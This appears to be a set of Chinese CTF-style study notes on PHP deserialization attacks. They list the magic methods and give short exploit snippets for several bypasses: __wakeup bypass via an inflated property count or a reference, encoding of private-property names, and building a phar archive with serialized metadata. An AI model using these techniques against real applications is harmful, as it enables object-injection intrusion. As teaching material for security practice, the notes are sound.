在请求头传序列化字符串可以url编码，不然有时候会被';'分割成不完整

魔术方法

```
__construct:创建对象最先调用
__destruct:对象被销毁调用
__clone:使用clone复制对象时调用，如clone $obj
__get:读取不可访问的值时调用
__set:给不可访问的属性赋值时调用
__isset:对不可访问的属性调用isset或empty时调用
__unset:对不可访问的属性调用unset时调用
__call:调用不可访问的方法时触发
__callStatic:同__call
__toString:对象被当作字符串使用时触发，如echo $obj
__invoke:以函数的方式调用对象时触发，如$obj()
__sleep:在执行serialize之前调用，返回需要被序列化的属性数组
__wakeup:执行unserialize时调用
__serialize/__unserialize:优先级高于__sleep,__wakeup
```

绕过

可以在数字前加+绕过

引用绕过

```
例子：class 鼻嗅爱{
    private $亢金龙;
    private $定风珠;
    private $黄眉;
    public function __toString() {
        $this->亢金龙 = '飞天';
        $this->定风珠 = '落地';
        if($this->亢金龙 == '飞天'){
            die('亢金龙怎么才能落地呢？');
        }elseif($this->亢金龙 == '落地') {
            echo 'level up to 3';
            return $this->黄眉->后天人种袋;

        }
    }
}
只需要在exp中加入
public function __construct(){
    $this->亢金龙=&$this->定风珠;
}
就可以绕过if
```

编码绕过

属性修饰符

```
##

当类对象中变量不同修饰符序列化后的变化
权限                                序列化变量名
public 变量名;                       "变量名" (正常不变)
private 变量名;                      "%00类名%00变量名"
protected 变量名;                    "%00*%00变量名"

在很多下情况需要注意如果使用echo进行输出类对象的序列化输出，默认会把%00空格吃掉，在丢失%00空格的情况下反序列化会失败

绕过：
    将序列化字符串用urlencode进行url编码，echo urlencode(serialize($a))
```

__wakeup绕过：

1.对象属性个数的值就大于真实的属性个数

```
例子：O:3:"NSS":1:{s:4:"name";s:3:"ctf";}改成：O:3:"NSS":2:{s:4:"name";s:3:"ctf";}
```

2.php引用赋值&

```
例子：
<?php
class KeyPort{
    public $key;
    public function __destruct()
    {
        $this->key=False;
        if(!isset($this->wakeup)||!$this->wakeup){
            echo "You get it!";
        }
    }
```

```
    public function __wakeup(){
        $this->wakeup=True;
    }
}
if(isset($_POST['pop'])){
    @unserialize($_POST['pop']);
}
```

可以这样写exp

```
<?php
class KeyPort{
    public $key;
}
$keyport = new KeyPort();
$keyport->key=&$keyport->wakeup;
echo serialize($keyport);
#O:7:"KeyPort":2:{s:3:"key";N;s:6:"wakeup";R:2;}
```

phar反序列化

```
<?php
class Test {
    public $num;
}
$a = new Test();
$a->num=1;

$phar = new Phar("a.phar"); // 创建一个名为 "a.phar" 的 Phar 归档文件。
$phar->startBuffering(); //使用 startBuffering() 方法开始缓冲，以便在添加文件之前可以对 Phar 对象进行配置。
$phar->setStub("<?php __HALT_COMPILER(); ?>"); /* 设置stub，必须以 __HALT_COMPILER(); ?>结尾*/
$phar->setMetaData($a); # 设置自定义的metadata，序列化存储，解析式会被序列化。
$phar->addFromString("test2.txt", "test2"); //phar文件里面的文件为test2.txt,内容为test2
$phar->stopBuffering(); # 停止缓冲，将所有的配置应用到 Phar 文件中

?>
```